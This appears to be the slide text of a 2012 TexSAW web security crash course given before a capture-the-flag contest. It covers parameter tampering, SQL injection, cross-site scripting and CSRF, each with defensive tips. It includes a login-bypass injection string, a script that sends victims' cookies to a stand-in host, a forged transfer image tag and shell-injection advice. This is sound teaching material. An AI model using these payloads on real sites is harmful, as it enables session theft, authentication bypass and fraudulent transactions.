TEXSAW 2012
WEB SECURITY
CRASH COURSE
TexSAW 2012
Scott Hand
Introduction
Recommended Tools



Web browser – Firefox is recommended because of
TamperData, Live HTTP Headers, etc.
Knowing Python helps
Very little else is needed, Backtrack Linux is useful
for many automated tools
What We’re Targeting

Web Applications
 Web
Pages (HTML, PHP, etc.)
 Databases

Goal
 Steal
data
 Gain access to system
 Bypass authentication blocks
Background
Web Servers


Web applications are really just an interface for
accessing a web server
Example Web Servers:
 Apache
 IIS
 Nginx
 Self-contained
servers for one application – Ruby on
Rails, Django, Sinatra, node.js, etc.

Some servers like Apache resemble navigating a
file system, others use RESTful routing
HTTP


HTTP is the means of communication
It is stateless
 We
get around this by using sessions
 Sessions are stored in browser cookies
 Side effect – If we steal someone’s cookies, the web
server will think we are the same user
HTTP Requests





Web traffic involves a Request and a Response
GET and POST are two main request methods
GET is for an action intended to ask the server for
information
POST is for an action intended to tell the server to
do something
Examples: GET used for showing your profile on a
web site, POST used to update your profile
information
HTTP Request Parameters


Along with the URL and request method, HTTP
requests can also carry parameters
GET parameters
 Visible
from the url:
http://www.url.com/page.php?arg1=a&arg2=b
 Can be embedded easily in links

POST parameters are not visible from the URL and
not easily embedded in links, however they can
easily be altered
Example Scenario
Example Exchange for a Bank Site
Viewing Homepage
User
Web Server
GET
INDEX
GET: index.php
Database
Example Exchange for a Bank Site
Logging In
User
Web Server
Database
Auth
POST
OK
Redirect
to account
SET UP SESSION
POST: login.php
Parameters: username, password
Example Exchange for a Bank Site
Transferring Some Money
User
Web Server
Database
Make changes
POST
OK
Redirect
to account
POST: transfer.php
Parameters: to, amount
Parameter Tampering
Tools

TamperData – Extension for Firefox
 Can
intercept and modify requests
 Pretty powerful but can be tedious to use repeatedly

Live HTTP Headers – Extension for Firefox
 Good
for monitoring and replaying requests
 Fast and good as long as replaying traffic works

Burp Suite
 Separate
program, works through proxy – browser
agnostic
 Can do just about everything
Example Attack
User
Web Server
Database
Make changes
POST
OK
Redirect
to account
POST: transfer.php
Parameters: to, amount
Parameter Tampering

Example of real-life attack – PayPal was used by
vendors to handle transactions. They trust PayPal
and PayPal trusts them.
 They
trust that once they send the transaction to PayPal,
it will be resolved and they can send the product when
the transaction is complete
 PayPal trusts that the information sent to them by the
vendor, through the users’ browser (!!!), is correct
 If we change the amount we pay to something small,
neither party knows and we get the product for nothing
DEMO
Tips for Securing



Don’t trust requests by themselves!
Many frameworks will sign requests that they send
to prevent tampering
Thinking that users can’t alter POST data because
they can’t see it in their address bar is just weak
security through obscurity
SQL Injections
Overview


SQL injection is part of a class of attacks in which
we abuse poor programming to embed usercontrolled data in trusted code run by the server
Vulnerable code consists of SQL queries being built
using string concatenation or interpolation with user
tainted variables:
$query = “SELECT * from users ”
. “WHERE username = ‘” . $username
. “’ AND password = ‘” . $password . “’”;
Example Attack
User
Web Server
Database
Auth
POST
OK
Redirect
to account
POST: login.php
Lets look at the SQL and the attack...
Behind the Scenes for login.php



$query = “SELECT * from users ”
. “WHERE username = ‘” . $username
. “’ AND password = ‘” . $password . “’”;
Examine the result to see if the user is selected.
Sample normal query after input:
SELECT * from users WHERE name=‘user’ AND password=‘password’


Sample attack password: ’ OR ‘1’=‘1
Resulting query:
SELECT * from users WHERE name=‘user’ AND password=‘’ OR ‘1’=‘1’

Always returns true, bypasses authentication
Other Types of Attacks


Can add INSERTS, UPDATES, etc. if multiple queries
are supported
Blind SQL Injection
 Needed
when the results of a query are not displayed
or even acknowledged
 Use side channel attacks – sleep for a certain amount
of time if the first character of password is ‘a’, repeat
for each letter until a match is found then repeat for
each character in password
 sqlmap works wonders to help automate this
DEMO
Tips for Securing






USE PREPARED STATEMENTS
Don’t plug user input into queries
Don’t escape user tainted queries
SERIOUSLY
USE PREPARED STATEMENTS
THEY’RE NOT EVEN HARD TO USE
Cross Site Scripting (XSS)
Overview



Basic idea is to exploit the trust that your browser
places in the website it’s viewing
Embed malicious code in the webpage and your
browser will execute it
Two Types:
 Reflected
– Client-side. In request parameters or URL.
Requires that a user click the malicious link or form.
 Stored – Server-side. Embedded in a web page and
hits every visitor that views the page.
Some Goals

Steal cookies
 Since
JavaScript can access cookies, you can send the
victim’s cookies to yourself:
<script>$.get(‘www.badurl.com/?cookie=’ + document.cookie);<script>

Mimic real user behavior
 Fill
out and submit forms
 Open IFRAMEs to maintain access
 Redirect to other pages
Example Exchange for a Bank Site
Viewing Homepage
User
Web Server
Database
GET
INDEX
Session
GET: index.php
Bad Guy
DEMO
Tips for Securing

Developers
 Never,
ever allow unauthorized users the ability to
embed HTML into your page.
 Escape every single bit of user input you get, it’s all
dangerous

Users
 Use
NoScript or similar plugin
 Don’t click a link with a bunch of JavaScript in the URL
Cross Site Request Forgery (CSRF)
Overview



Exploit the trust that the web server places in the
victim’s browser
It’s difficult for a site to distinguish between
legitimate requests and requests that an attacker
caused
Not the same as XSS (which exploits browser’s trust
in site), but plays very well with XSS – CSRF is often
made more deadly by XSS
Example Exchange for a Bank Site
Transferring Some Money
User
Bad Guy
Database
Web Server
Make changes
OK
Redirect
to account
POST: transfer.php
Parameters: to=BAD GUY, 1000000
Ways to Trigger

An image:
<img src=“http://www.bank.com/transfer?to=1337&amount=1000000” />

XSS:
$.get(‘./profile.php’, function(data) { // evil });
DEMO
Tips for Securing




Only trust requests from your site
Use CSRF-protection tokens – one time tokens for
forms – included in most web frameworks
Don’t make things like bank transfers or log outs a
GET request, that just makes life easier for attackers
Not much you can do as a user
General Tips
Look at Requests!


Use TamperData, firebug, Chrome Developer Tools,
Live HTTP Headers, etc.
Look closely at things that you can tamper to
change the behavior of the application – sometimes
the developer trusted that data and nothing will
stop you
Inject Everything



If you think it’s using your data in SQL, try some
SQL injection
If you think it’s using embedding your data in a
program call (`ping $address`) then inject via things
like &&
If you think it’s running HTML, throw in some
JavaScript
Situational Awareness




Pay close attention to what kind of web server
you’re dealing with
Some web servers or web frameworks are more
susceptible than others to certain attacks
For example, many web frameworks are good at
preventing HTML injection, but tend to trust HTTP
requests too much
Keep an eye out for home brewed stuff – whether it
be crypto, injection escaping, web servers, etc. – it’s
probably not as well vetted against malicious input
JavaScript – It does a lot

If you have jQuery on your website, use it!
 You
can issue requests and parse the results with $.get()
and $.post(). These are so helpful for enhancing XSS
attacks (example: do a GET to a user’s profile page,
pull their info from the form, POST it to your page)
 It gives you tools for shorter JavaScript payloads,
especially handy when space is critical

Pretty much anything on the user’s end can be
scripted and altered
Any questions?
That’s all, CTF Time!

Presented by Scott Hand (utdallas.edu/~shand)